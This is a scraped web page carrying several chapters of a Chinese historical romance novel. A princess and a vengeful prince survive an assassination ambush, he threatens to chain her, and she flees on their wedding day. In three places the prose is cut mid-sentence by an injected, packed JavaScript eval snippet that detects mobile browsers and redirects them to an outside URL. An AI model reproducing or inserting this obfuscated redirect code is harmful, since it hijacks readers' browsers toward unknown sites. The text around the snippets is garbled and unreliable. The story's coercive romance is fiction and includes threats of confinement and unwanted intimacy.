过了良久,谢陵才倦倦道:“没什么,近来事务繁忙,我只是有点累了。” 实际上,谢陵昨天刚领了鞭刑,远在北境的叔父得知他在国公府的鲁莽行径,大发雷霆,连夜命人送来书信,将他斥责了一顿,还命商晏替其监刑。 昨晚疼了一夜,没怎么睡好,加上今天还有更棘手的事要应付,心情自然没法放松。 不过,他嗅着闻梨身上淡淡的香味,神思难得松弛片刻,身上的疼痛与疲惫舒缓不少。 闻梨怔忪片刻,她早已从宫人那里打探得知,从国公府回来的第二日,百官联名上奏,说谢陵狂妄自大,滥用职权,对皇室公主出言不逊,藐视君恩等罪状,皇帝下诏停了谢陵的官职,在府中静修至婚期。 所以他那句政务繁忙,是在骗她罢了。 此事本就因闻梨而起,谢陵不愿意说真话,她心里愧疚,便也不打算戳破他,只装作什么都不知道。 “那天多谢王爷替我撑腰,还好有王爷在,要不然我还不知会落进什么样的险境。” 谢陵微微蹙了蹙眉心,语气不自觉笃定了几分,“公主相信我,无论什么事发生,我能护你周全。”他这话像是说给闻梨听的,又像是说给自己听。 闻梨浑然不察他的言外之意,听着耳畔传来的低沉嗓音,像松林间穿行过的风,冷肃却沉稳,让人感到一阵安心。 今日天气晴得甚好,集市摆满货摊,吆喝声此起彼伏,马车在街角停下,二人下车,沿着人流如织的集市里缓步而行。 闻梨脸上难掩欣喜,心中好奇谢陵怎知自己想来这里?上回逃跑时匆忙路过,她还觉得可惜,没能好好逛一逛,今天可要玩尽兴了。 谢陵打了个哈欠,漫不经心跟上闻梨的步伐。 闻梨先注意到一个糖画摊,摊主是个上了年纪的大婶,虽穿着粗布衣裳,却收拾得干净平整,十指灵巧得像是变戏法,眨眼工夫便做出令客人满意的糖画。 大婶看见一旁驻足观望的女客,招揽道:“姑娘想做什么样式?” 闻梨挪步上前,望了望摊前的展品,新奇道:“什么样式都能做?” 大婶骄傲道:“那当然,我摆摊数十年,只要是客人想要的,没有我做不出来的。” 闻梨爽快道:“那我要两个,一个画他,一个画我。” 大婶望向女客身后的男子,风神俊逸,气宇不凡,再仔细打量面前女客,貌若仙姿,国色倾城,二人站在一起,好一对璧玉佳人,倒像是天上的仙童仙女。 大婶笑得合不拢嘴,连声应好,舀了勺糖汁开始作画,不一会儿工夫,先画成了一个,笑着递给闻梨。 闻梨回头,拿手里的糖人与谢陵对比,没忍住扑哧一笑,除了身形有几分相似,那糖人的脸,根本就是年画娃娃的脸,模样十分滑稽。 “给你。” 谢陵眉梢微挑,有点嫌弃这糖人貌丑,他不爱吃糖,但望着闻梨脸颊上的梨涡若隐若现,她还在期待自己的回应,便硬着头皮接住。 “姑娘,另一个也做好啦。” 听到大婶的声音,闻梨扭头,兴冲冲接过另一个,看清糖人的样式,登时就笑不出来了,这分明就是仕女的身子加了年画女娃娃的脸,比谢陵手里那个还难看。 谢陵见此,唇角微勾,眼眸里闪动着憋笑的光芒,从腰间摸出铜钱付给摊主,故意问她:“怎么了?不喜欢吗?” 闻梨不语,准备咬一口糖人,尝尝味道,却被谢陵拦住。 “你吃我这个吧。”说着,他将二人手里的糖人对调。 闻梨毫不客气一口咬掉糖人脑袋,味道还算不错,抬头却见谢陵神色怪异地盯着自己,疑惑道:“王爷怎么不吃?” 谢陵笑了笑,也学着她咬掉糖人的脑袋,还嚼得嘎吱作响。 闻梨见了,果然心里也一阵恶寒,颇有种在吃小孩的感觉,连骨头都不剩的那种。不过,她才不管这些,继续啃手里的糖人,反正吃的是谢陵的人形糖画。 一路走来,闻梨感兴趣的大多是玩意摊,斗蛐蛐,捏泥人,剪纸,木雕,还有竹编的各式小动物。 她挑了个小狮子样的竹编送给谢陵,谢陵反手选了只小狗样式的递给她,闻梨果断放回小狮子,又摸了只黄鼠狼样式的,诚心诚意递到谢陵面前。 二人都没接过对方为自己挑选的竹编,闻梨悻悻起身,注意力又落在不远处的杂耍团上。 杂耍团附近围满了人,闻梨找不到空隙挤进去,正踮着脚够直脑袋张望,腰间忽而一紧,整个人被谢陵拥进怀里,他带着她跃上一旁的台柱,视野瞬间变得开阔。 闻梨不敢松手,一面紧紧抱住谢陵,一面往人群中间望去,观赏了半天滚火球、吞铁剑、胸口碎大石等骇人见闻的杂耍。 一轮杂耍结束后,杂耍团开始拿着盆钵要钱,围观的百姓顿时散开不少。 见此处没乐子,闻梨让谢陵放她下去,想去别的地方玩玩,哪知杂耍团的掌事眼尖,早就注意到台柱子上的二人,尤其看他们的穿着打扮,肯定是有钱人,便迎上来讨赏。 “公子小姐行行好,有钱捧个钱场吧。” 闻梨思索着,手伸向谢陵腰间,摸出几两碎银,颇为大方地全扔进盆钵里,刚才她就摸到谢陵的腰间鼓鼓囊囊,藏着不少好东西。 谢陵一脸平常,“你倒是不见外。” 见二人预备要走,杂耍团掌事不肯轻易放走两位财神爷,便伸手拦住二人,还想再多讨要些银子,却被谢陵一记眼刀吓退。 掌事不敢再上前,挤出一抹勉强的笑:“二位好走。” 待二人走远,那掌事立即换了副阴冷的神色,既不吆喝,也不再向众人讨钱,回到同伴身边。 “可认清是谢陵了?” “嗯,这次一定不会再出错,你两个跟着他们,我回去禀报主子。” 另一边的闻梨,已经走到了书肆摊前,这里的空气混合着劣质油墨的味道,她弯腰翻了翻,想看看民间的书与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193752|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫中有什么不同,随手拿起一本,只见上面写着剑谱二字,遂打开来瞧。 前几页都是两个小人拿着剑比武,但她越看越不对劲,这两个小人怎么一边打架,一边脱光衣服,扭打到床上去了?难道练武太热,要脱衣服吗? 闻梨心生困惑,正欲往下游览,身畔突然伸来匀称修长的手,指腹捏住书的后半部分,似乎不许她再往后翻。 闻梨不满地看向这手的主人,却见谢陵耳尖泛红,神情有异,眸光落向别处,声音不太自然道:“你不能看这个。” 闻梨似懂非懂,也闹了个脸红,讪讪放下。 天色临近傍晚,街边酒楼饭馆飘来菜肴香味,谢陵与闻梨走进醉香居二楼的雅间,谢陵像是这边的常客,帮着闻梨点了几道可口的招牌菜。 闻梨看着谢陵熟练的点菜架势,随口问道:“王爷常来?” 谢陵嗯了一声,似乎不愿意多说,转而端起酒壶,问闻梨要不要喝酒。 闻梨摇头拒绝,她向来滴酒不沾,虽今天心情甚好,也有几分想喝酒的兴致,但坐在自己对面的人是谢陵,万一喝醉,被他听见什么不该听的胡话,那可就不妙了。 两人对坐,各自无言,屋内的气氛顿时冷下来,闻梨注意到谢陵自进门后,神情便一直很绷紧,目光始终落在窗外,不知在想什么。 闻梨顺着他的视线望去,只见一辆马车缓缓停在醉香居门前,有个看起来有几分眼熟的婢女从马车下来,随后踏进了酒楼。 不一会儿,她听到门外走廊传来一阵交谈声。 “哟,春儿姑娘好久没来了,还是来替你家小姐取菜的?楼上今天满座了,姑娘要不去大堂将就?等我送完这趟,就去后厨帮姑娘催一催。” “好吧,你动作快点,我家小姐就爱吃你们酒楼的菜,可别让我家小姐久等,没弄错是哪几样菜吧?” 店小二报了一串菜名,“瞧姑娘这话,你家小姐不日便是临王府的王妃,小的哪敢怠慢,稍后就来。” 紧接着雅间门被人从外边推开,店小二端来好几道菜,殷勤地招呼二位客人用菜,闻梨粗略扫了一眼菜品,虽比不上宫里的菜肴精致,香气却很勾人。 闻梨觉得新鲜,在店小二摆盘的间隙,指着手边那盘菜问道:“这是白菜豆腐?” 店小二笑着解释道:“那不是白菜,是鱼肉。”顺带介绍了一遍菜名,好巧不巧,桌上的菜恰好是店小二刚才与春儿确认过的。 闻梨默然,心头掠过些许诧异,没想到谢陵连心上人的喜好都了解得一清二楚,白天因有他陪伴而腾起的那些不该有的念头,在此刻都冷了下去。 她在心里承认,自己确实有点贪恋他今日的陪伴,但不该得寸进尺在意他心里装的是谁,自己能顺利逃走,才是当下最重要的事。 此刻谢陵的视线还没从窗外收回来,街边依旧平静,看不出有人埋伏的迹象,待话多碍事的店小二出去后,他才将目光落回闻梨身上,却见她正无精打采低头吃饭,全然没了先前那副劲头十足的模样。 难不成是她发现了什么? 谢陵思索片刻,刚想问她是不是饭菜不合胃口,低头一看饭桌,不由得蹙紧眉头,店小二怎么把菜全上错了? 19. 第十九章 未等谢陵发话,一伙蒙面的黑衣刺客突然破门而入,锋利的剑尖直指向窗边的谢陵,为首者口中喊道:“大家一起上,杀了这谢狗!” 闻梨手中的筷箸掉落,望着眼前不知从哪闯进来的刺客,下意识躲到谢陵身边,“王爷,我们该怎么办?” “别慌。”谢陵将闻梨护在身后,阴沉沉看向刺客,语气还算冷静:“是谁派你们来的?” 为首刺客闭口不答,出招迅猛,企图将谢陵斩于剑下,却不料谢陵身手更快,拿筷箸当利器,三两招之内,便夺走了刺客的剑。 有个年纪不大的刺客见情况不妙,趁谢陵不备,捉住了闻梨,将刀刃抵近闻梨脖颈,威胁道:“把剑扔远点,你再反抗我就杀了她。” 闻梨吓得闭眼,脑海中浮现自己被刺客割下头颅的画面,浑身止不住地打冷颤。 谢陵僵住,眼眸深了几许,依言放下剑,冷声道:“有什么恩怨尽管冲本王来,莫要伤及无辜。” 少年刺客讥笑道:“临王屠城之际,可有想过城中有多少无辜之人?今日便取你狗命给枉死之人陪葬!” 谢陵大抵摸清了这伙刺客的底细,是时候该撤退了,手腕一转,藏于袖中的另一根筷箸被他掷向少年刺客的眼睛,倘若少年刺客选择伤人,势必要废一只眼睛。 少年刺客目露震惊,没有丝毫犹豫便挥剑挡住朝自己袭来的筷箸,分神之际,怀里挟持的人质也被谢陵救走。 待少年刺客反应过来,谢陵已经抱着闻梨跃窗而下,逃进了夜幕里。 为首刺客赶过来询问少年:“主子没受伤吧?” 少年刺客愤怒折断手里的筷箸,咬牙切齿道:“给我追!” 夜风呼过耳畔,明明白日里还晴朗的天气,夜里却黑沉沉的,被积云遮挡了星与月的光辉。 闻梨缩在谢陵怀中,神情恍惚,似乎还未从刚才的险境缓过神来,架在她颈间的那把剑是真的寒凉,此刻回想起来,仍觉得害怕。 谢陵察觉到怀中人的抖动,脚下步子放缓,声音也温和了些,安慰道:“吓到了?” 闻梨刚要张嘴,却感到一股温热的暖流从头顶落下,伸手沾了点,这暖流里带着铁锈腥味,她抬眸望去,果然见谢陵的肩膀有伤口。 “王爷受伤了?”闻梨焦急问道,声音里夹杂着几分担忧,因为她知道那伙刺客不会轻易放弃,谢陵受伤,接下来怎么打得过他们? 谢陵沉着道:“不要紧,再坚持一下,快到我们的地盘了。” 闻梨望着身后追来的刺客身影,没空细想他话里的含义,她记得风浅说过会远远跟在附近,为何都这么久了,还迟迟不见风浅现身? 就在闻梨四下张望之际,谢陵忽而停下脚步,放她下来,刺客们也都跟着停住。 此处是条狭长的巷道,巷道尽头是热闹繁华的主街,闻梨不明白谢陵在此时停下的用意,莫非是伤得太重坚持不住了? 她立刻去搀扶他的手,慌忙问道:“王爷还好吗?你靠着我,我带你出去。” 岂料谢陵退一步避开她的手,转身不与她对视,朝墙头的风浅吩咐道:“带公主先走。” 闻梨满脸错愕,望着从墙头跃下的风浅,还没搞清状况,便被风浅扛到肩上,眼睁睁看着谢陵的身影与刺客们融合在夜色中。 他孤身一人,又有伤在身,如何敌得过那么多刺客?早在王府时,她便听殷三娘说,谢陵惯会以少敌多,赢下不少战事,可谁又能保证他的运气次次都这般好? “放我下来,我自己能走!”闻梨朝风浅嚷道。 风浅装作没听见,继续朝主街行去。 闻梨心急如焚,挣扎道:“王爷刚才救我时受伤了,你快回去帮他,我自己会找地方躲起来,绝不拖累你们。” 风浅一听自家主子受伤了,果然站住脚,犹豫着要不要放闻梨下来。 “还在犹豫什么?难不成你想看到你家主子死在刺客手里?他次次以身犯险,真要出事了怎么办?” 风浅不再耽搁,松开闻梨,扭头朝主子的方向飞奔而去。 闻梨也没忘记要找地方躲起来,防止刺客又捉她当人质,给谢陵添不必要的麻烦。 但此地没什么能藏人的地方,闻梨只好朝主街跑去,出了巷口,热闹的烟火气扑面而来,闻梨心中踏实不少,就近找了辆停在路边、黑灯瞎火的马车旁躲起来。 她略等了等,还不见谢陵与风浅逃出来,心里愈发焦急,暗自想二人是不是出事了,哪怕有风浅的帮助,也没办法甩开刺客吗? 还是说,他二人皆葬身在了刺客剑下? 正当她犹豫着要不要去巷口看一眼,不知何时套了马儿的马车竟然动了,闻梨险些被车轮碾轧了脚,吓得啊了一声,跌坐在地。 车窗里探出张脸,闻梨惊慌抬头,正与车里人的目光对上,她不自觉怔住,没想到会这么凑巧遇上沈迟。 沈迟从马车下来,欲作势扶起闻梨,“公主没事吧?为何会躲在臣的马车旁?” 闻梨觉得沈迟的出现很蹊跷,自己站了起来,试探问道:“沈公子为何在此?” 沈迟指着路边的大门道:“这里是刑部衙署北门,臣刚下值,正要回府。” 闻梨这才相信了沈迟的话,欲求他找人去救谢陵,不及开口,却听到沈迟问:“公主莫非是想清楚了,想让臣送你出京?” 闻梨僵在原地,脑海中浮现出一个可行的计划,钱财都带在身上,不如趁着谢陵分身乏术,与沈迟做交易,就此离开京城,再也不回来。 可现在谢陵生死未卜,倘若就这么走了,是不是太没良心了?毕竟他也帮了自己好几次,但逃跑的机会就在眼前,她实在难以抉择。 沈迟:“公主可想好了?” 闻梨再抬眸时,眼中多了些许坚定之色,“临王遇刺,沈公子可否找人去增援?” 巷道的另一边,谢陵带着提前埋伏好的府兵,将追来的刺客悉数剿杀在剑下,此时他正擦拭着剑上的血,听萧大郎回禀战况。 “刺客身亡四十七人,重伤二人,另外逃走三人,二郎已经带人追去。” “把重伤者带回府里审问。” 谢陵回头,冷不防瞥见尸堆边的风浅,下意识寻找闻梨的身影,却一无所获,沉声询问风浅:“公主人在哪里?” 风浅跪下认错,“公主说主子受了伤,卑职担心主子敌不过刺客,便赶回来相助。” 哪成想,见主子这边没事,风浅再折返去找闻梨,却发现人已经不知所踪。 钲的一声清响,剑被谢陵收进鞘中,那剑身像是承受了某股力道,入鞘后还在微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201474|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖动,久久不能平息。 谢陵冷道:“她说什么你就听什么,往后你认她做主子吧。” 从未见主子如此生气,风浅大惊失色:“卑职不敢,卑职这就去将公主找回。” 谢陵不语,只一味地盯着巷道尽头,他是真没料到,在自己遇刺的危难关头,闻梨竟还想着逃走,除了愤怒,他还有些失望,阴暗的情绪在心里疯狂生长,也许下次该给她绑条锁链,这样就能让她乖乖待在自己身边,哪都不能去。 谢陵留下一部分人处理现场,自己则带着其余人出发,就算把玉京城翻个底朝天,也要找到闻梨。 谢陵刚走到巷口,迎面碰上一队京兆府的府兵,领头人的是沈迟,而沈迟身后跟着的人,正是他翻遍玉京要找的人。 闻梨自然也看到了谢陵,发现他还活着,心中松口气,随即不免有些懊悔,早知谢陵有办法脱身,自己何必找人回来救他? 藏起内心的想法,闻梨快步上前,一脸关切问道:“王爷的伤还好吗?刺客都解决了?” 谢陵迟疑了一瞬,眼底的阴霾骤然散开,脸上神情装得平常,故意忍痛道:“公主去哪了?本王担心你被刺客抓走,怎么会跟沈侍郎在一起?” 闻梨解释自己与沈迟的相遇,但丝毫没提沈迟说要送她出城的事,沈迟那边自然也替她瞒着谢陵。 谢陵听罢,并不感激带人来救自己的沈迟,反而将闻梨拉到自己身后,一脸严肃叮嘱她道:“公主别什么人都相信,我与沈侍郎向来不和,倘若他不是来救人的,而是来杀我的,那可怎么办?” 闻梨怔住,没想到谢陵这人如此忘恩负义,别人好心赶来救他,却不领情,还出言讽刺,心胸狭隘到这地步。 她满心愧疚看向沈迟,好在沈迟脸上并未见羞恼之色,只是淡然地吩咐京兆府的人先回去。 话落,沈迟扫一眼四周的情况,再次看向谢陵,唇畔扬起一抹意味深长的笑:“王爷何苦担心下官会趁人之危?您不是在此布下天罗地网,正等着刺客上钩吗?下官区区一介文人,怎杀得了王爷?既然王爷无事,下官先告辞了。” 沈迟走前,特意看了眼闻梨公主的反应,果然见她瞠目结舌,显然对谢陵的行为毫不知情。 闻梨满脸错愕望着谢陵,原来今日的陪伴是假,他不过是利用她,诱使刺客放松警惕,继而把刺客引进早已设好的圈套。 他真可怕,就没想过万一失手,刺客误杀了她怎么办?闻梨想了想,没什么好埋怨的,毕竟谢陵从一开始,就说要她当他的狗。 狗嘛,挥之即来,招之即去,谢陵偶尔心血来潮遛一遛,却被她视为珍宝,还以为填补了幼年的缺憾,还傻乎乎地为他放弃了逃跑机会。 她意识到自己果然和狗一样缺爱,别人稍微给点好处,自己就乐颠颠贴上去,更可怕的是,她那些示弱和讨好,落在他眼里,跟狗的摇尾乞怜有何区别? 或许没什么区别,不然他会舍得让王家姑娘跟着他犯险吗?答案显而易见。 闻梨后背泛起一阵寒意,谢陵与沈皇后似乎也没区别,一个把自己当狗,一个把自己视为棋子,都只有算计和利用。 “公主在想什么?怎么不说话了?”谢陵对上闻梨慌乱的眼眸,步步朝她走近。 闻梨后背抵靠着墙,退无可退。 20. 第二十章 “没、没想什么。”闻梨别过脸,尽量使自己的声音与平常无异,但尾音里的颤意,还是暴露她内心的恐慌之意。 谢陵俯视着她,语调冷了几分,吓唬她道:“公主怕我?为什么?莫非信了沈迟的说辞?我不止一次说过,莫要与沈迟走得太近,可公主却不听,真让我为难,看来只有成婚后,时刻拿锁链将公主栓在身边,方能让我放心。” 闻梨不可置信抬头,看着谢陵阴郁的脸,讽刺道:“难道你与别人洞房花烛夜也要我跟着?” 谢陵顽劣笑道:“未尝不可,早在当初我就劝过公主,不要轻易招惹我,既然已经成为我的人,就别再想着找别的男人帮忙,你只能信我,靠我,听我的话。” 闻梨忍无可忍,用力摁上他肩膀的伤口,发狠道:“你简直不可理喻!你对王姑娘也会这样?还是说以后你娶的所有姬妾,也都要拿绳子栓在身边?” 谢陵吃痛闷哼了一声,眼底却腾起一股无名□□,难以启齿的快感涌遍全身,他伸手捏住闻梨下颌,冷森森道:“不,我只对公主一人这样。” 闻梨一听,心中更来气了,试图反抗,却被他圈在怀里,半点不透风,她绝望了:“为什么?我哪里得罪过你?从第一天见面就想杀我,还让我当狗,现在又要如此折磨我?” 谢陵幽幽盯了她许久,忽而冷笑出声,侧头俯在她耳边,用冷冰冰的语气道:“告诉公主也无妨,因为十年前,你的母亲为了谋逆,派人杀光我全家,从第一次见面时,我就想杀你给家人报仇,可是转念一想,折磨活着的人,比折磨死人更有趣。” 闻梨当即僵立,许久没从谢陵的话语立回过神来,原以为是自己利用谢陵摆脱沈皇后,却不想刚从虎口逃脱,又进来了另一个狼窝,胃里忍不住泛酸,一阵恶心涌上心头。 憋了很久的眼泪不自觉从脸颊滑落,她鼻尖通红,心灰意冷啜泣道:“我后悔了,当初就不该相信你。” 听到她说后悔二字,谢陵的心却随之抽搐一阵,他不明白这种情绪从何而来,为什么每次面对着她,他都没办法狠下心真正做点惹她哭的事? 现在仅仅只是说了几句狠话,又不是真把她套进锁链里拴着,见她哭得如此伤心,他忽然有些于心不忍,抬手拭去她脸上的泪珠,好生哄道:“你别哭,只要你答应我往后乖乖听话,我就不锁着你。” 谢陵低头下来吻她的脸,想将她的眼泪含进口中,她身上香气实在令他着迷,不知不觉吻上了她的脖颈,肩窝,勾起他脑海中关于两个月前那场旖旎床事的记忆,出格的事情总是令人食髓知味。 直到肩膀再次传来一阵剧痛,谢陵才堪堪停下,望着闻梨那双恼羞成怒的眼眸,登时冷静了许多,想起此时还在街上,便替她掩住衣襟下的雪肌,用不容质疑的口吻道:“夜深了,我送公主回宫。” 与此同时,先前逃走的刺客退到安全的地方,商议接下来该怎么办,为首者吐掉嘴里的鲜血,骂道:“这谢狗实在狡猾,害得我们折损了将近一半的人,主子,要不咱们再回北齐召集人手?” 少年刺客摘下蒙面的黑巾,显露出一张清逸绝尘的脸,汗水沾湿少年额边微卷的刘海,长睫投下淡淡的阴翳,眼眸澄澈而明亮,与方才那副冷酷无情的杀手形象截然相反。 少年道:“来不及了,十天后便是谢狗成婚之日,听说他要同时娶两个,他去迎谁的亲,我们就绑走另外一个,在城外布下陷阱,这次等他自己送上门寻死。” * 临近婚期,闻梨变得忙碌起来,要试穿婚服,熟悉婚事流程,虽说是入王府为侧妃,但一应的礼节与正妻无异,闻梨不太确定这是父皇的吩咐,还是谢陵的意思,听着嬷嬷一遍遍复述礼程,她只觉心中烦闷不已。 最近的天气也似她的心情那般阴雨连绵,潮湿闷热,白天提不起精神,夜里睡得也不安稳,好几次梦到谢陵拿着铁锁链朝她走来。 只要一想到余生会被困在临王府后宅,她就压抑得喘不过气,不过几日光景,竟又瘦回从前那副纤弱的模样,彷佛被风一吹就会倒。 距离婚期只剩下两天,闻梨实在心烦意乱,静不下心做任何事,感觉自己快要憋死在屋子里,便才带着清霜去御花园透透气。 正值午后,妃嫔们大多有小憩的习惯,御花园里人少,清幽别致的园中景色,并没有减轻半分闻梨眉间的愁思,反倒是这一年复一年相同的花草山石,令她心生厌倦。 闻梨将欲折返之际,旁径上忽然冒出一个脸生的小太监,贸然跪下拦住了她的去路,还伸手递来一封信:“公主万安,这是沈迟大人要奴才转交给公主的信,沈大人说若公主有回信,也叫奴才等着拿。” 闻梨半信半疑打开书信,果然是沈迟的亲笔,因为信上写了只有他二人才知道的事情,沈迟在信中问她,是否愿意继续从前的交易,倘若她愿意,他会替她安排逃跑的办法。 心头积攒多日的苦闷与惆怅一扫而光,闻梨压下心中的雀跃,镇定自若道:“是有一封回信,你跟着我去锦绣宫取一下。” 随后,闻梨写下回信封装好,由小太监带出宫,交到了沈迟手上,沈迟在信中见闻梨同意了,即刻提笔,又写了一封详细的逃跑事宜,找人送到闻梨手上。 闻梨看完沈迟回信,不动声色把信纸烧了,耐心等待大婚之日的到来。 * 成婚当日,最喜庆热闹的地方莫属落英巷的王宅,府邸内披红挂彩,“囍”字贴了满院,处处摆满预示着好兆头的吉祥之物。 反观锦秀宫与临王府,一个寂然无声,沉闷的寝殿内,换好喜服的闻梨将喜娘与宫人们赶出殿外,独自坐着发愣。而另一边的临王府,依旧是往日整齐肃杀的氛围,唯有两间喜房内的大红色床幔与桌上的成对花烛,能窥见一二大婚的好意头。 王宅后院,盛装打扮的王若楚坐在铜镜前,左看右看,还是觉得今天的妆容不够满意,太过成熟,彷佛把她化老了十岁。 妆娘都是有经验的,忙拦住她的手,“哎呦,三小姐今天嫁了人,从此便是妇人了,哪还能化成姑娘的妆容?风韵多情才能讨郎君喜爱。” 王若楚听罢,未上胭脂的脸已红透一半,难为情道:“越说越不成体统。” 房内,几位堂姐妹正陪着王若楚梳妆,王萝玉打趣笑道:“堂姐还没见到堂姐夫呢,脸就红成这个样子,那见了堂姐夫,岂不是像熟透了的螃蟹?” 众女笑得直不起腰,王若楚嗔一眼萝玉,羞恼地将脸藏在了花扇后,谁也不理。 王萝玉忙好声好语哄她,王二姑娘却不合时宜:“可今天堂姐夫要娶两个,他夜里会跟谁洞房花烛呢?” 此话一出,众女皆沉默住了,连王若楚的眼神都黯淡了下去,王萝玉见状,立刻接话道:“这还用问?那肯定是跟堂姐洞房呀,我早就找人打听过,两边的迎亲吉时是一样的,但堂姐夫亲自来迎堂姐,另派手下去皇宫迎公主,可见堂姐夫哪里舍得冷落堂姐?” 王若楚再次害羞低头,房内的气氛重新变得欢乐起来。 * “吉时已到,请公主出门上轿。”殿外的喜娘轻声提醒道。 不一会儿工夫,殿门缓缓而开,鸳鸯藤喜帕下,是一身亮眼的大红婚服,肩披霞帔,帔尾是用金线编织的花纹,上边缀满珍珠宝石,走动时随着裙裾摆动的幅度摇曳,在日照下闪着熠熠光泽,十分光耀夺目。 闻梨在侍女的搀扶下,先坐上了软轿,前往正德殿拜别父皇。 正德殿内,晋祐帝满脸感慨,看着朝自己磕头拜别的女儿,心中不觉晃了神,女儿已经到了嫁人的年纪,虞莲也已经死去整整十年,倘若她还活着,是否会在今日为女儿的离去伤心落泪? 晋祐帝眼底闪过泪花:“起来吧,若是临王待你不好,尽管来告诉朕,朕替你做主。” 闻梨没有起身,却抬头问了一句:“父皇可知临王一家是怎么死的?” 晋祐帝脸色骤变,方才不经意间流露的舔犊之情荡然无存,言语间颇为不悦:“你问这个做什么?” 闻梨心下明了几分,垂首道:“儿臣想多了解临王的过去,以免日后相处不慎触怒他,倒使夫妇不睦,恐误了父皇交予儿臣的差事。” 晋祐帝神色缓和不少,“你无需担心这个,切记谨言慎行,伺候好夫君,不使他生出谋逆之心便可。” 虽晋祐帝没明说,但闻梨还是从父皇的只言片语中推断出,父皇不仅知道谢家灭门一事,还一副心虚的模样,显然父皇早就认得母妃与谢陵之间的恩怨,却还是赐了婚,根本不管她这个女儿日后会面临怎样的处境。 她对父皇失望透顶,也对这个皇宫感到厌恶,别人唾手可得的亲情,却是她终其一生,也没办法得到的东西。 闻梨心里苦涩,强笑道:“儿臣还有一事万望父皇答应,可否允许儿臣今日乘坐寻常的马车出嫁?” 晋祐帝:“你不喜欢那辆六驱并驾的琉璃彩绸花车?国公主历来出嫁,便是这般送嫁规格,朕让你嫁给谢陵为侧妃,本就是委屈了你,只能在排场和嫁妆上补偿你。” 闻梨磕头:“谢父皇厚爱,儿臣听闻临王不喜奢华,怕第一天就惹夫君生气,另一则宫里及笄的皇子公主多,若姐妹们没有而儿臣却有,不利于姐妹和睦,还望父皇成全儿臣。” 晋祐帝想了想,“也罢,朕便依了你,坐你自己的马车出嫁。” 闻梨起身拜别父皇。 半炷香后,闻梨来到宫门边,奢靡华丽的花车已经换成了自己平时坐的马车,正待她登上马车,前来迎亲的队伍也吹吹打打到了宫门边上。 闻梨瞧一眼马背上的迎亲之人,见是谢陵手下的副将,不由得松口气,果然如沈迟所言,只要谢陵去那边迎亲,今天逃出去的胜算便多了五成。 在萧大郎走近之前,闻梨便已登上马车,遮上了喜帕。 送亲的仪仗队见迎亲的人来了,将嫁妆箱笼抬的抬,捧的捧,赶车的赶车,欲跟在迎亲队伍后走,不料胳膊都举酸了,也不见前面有动静。 与此同时,萧大郎翻身下马, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“护驾!”萧大郎从马上下来,与府兵一起,齐齐护在闻梨马车外。 闻梨透过窗缝看到,有几十个黑衣刺客从小楼里飞出,与府兵们扭打在一起,一时间难分输赢。 这时候,有一道不起眼的人影钻进车底,敲了敲车底板,闻梨立马撬起早就松动的木板,从车底钻出来。 来人是个毛头小子,自称是沈迟的武童,闻梨便跟着武童趁乱爬出车底,谁都以为车上的公主必定是凤冠霞帔,红衣想必十分惹眼,场面又极为混乱,没人注意到两个不起眼的野小子往巷子里跑了。 巷子尽头,沈迟已经等候多时,见闻梨公主成功脱身,便命人驶出早已备好的马车,待闻梨上车,沈迟遣退左右,自己驾着马车,专挑近道朝城门驶去。 期间,闻梨一句话都没说,也没问沈迟将要把她送往何处,望着车窗外的景色飞快倒退,她的心依旧跳得很快,简直不敢相信,自己就这么逃出来了? 另一边萧大郎没打过少年刺客,先被少年刺客伤了肩膀,又被其一掌箍翻在地,躺在地上起不来,只能眼睁睁看着少年刺客驾走公主的御车,连人带车一起掳走。 其余刺客见自己人成功劫走新娘,边打边退,掩护少年刺客驾着马车往深巷中撤退,而后也都各自撤离,不欲与谢陵的人纠缠。 与此同时,王宅府外却是另一番热闹祥和的景象,身着婚袍的谢陵长身玉立站在府门外,正等待新妇拜别父母亲友。 时间有点久,他等着有些不耐烦了,自己原本想去那边迎亲,但军师说,只要新妇没过堂,王家随时有可能反悔结盟之事,执意要他来王宅迎亲。军师还说,只要两家联姻顺利,叔父那边便不会再管束着他,想宠谁喜欢谁,由他自己决定。 谢陵这才被说动,来到了王宅,但不知为何,心里一直有种隐隐不安的焦躁感,他索性派人去府里催一催。 王家众人一听,都揶揄笑说新郎官等不及了,而后扶新妇出门,上了花轿。 迎亲的过程很顺利,十里长街的送亲队伍,很快来到了临王府门前,谢陵远远便注意到门口没有宫里来的马车,萧大郎在他先出发,而他又在王宅耽误了许久,按理来说,宫里的马车本该在他之前到的。 谢陵不再等后边慢吞吞的花轿,策马赶来门口,询问门人是否瞧见萧大郎以及公主的嫁辇,门人摇头,谢陵愈发觉得不对劲,掉转马头,正要朝皇宫的方向行去。 “殿下且慢!”商晏从门里出来唤住谢陵,“王家的花轿已经到了,殿下若是此时离去,有轻慢之意,定会触怒王家,轻则延迟婚期,重则婚事作废,望殿下三思,不如先领新夫人过府拜堂,而后再做打算。” 谢陵听出了几分不对劲,蹙眉问道:“什么叫再做打算?公主那边的迎亲出了什么事?请先生莫要瞒我。” 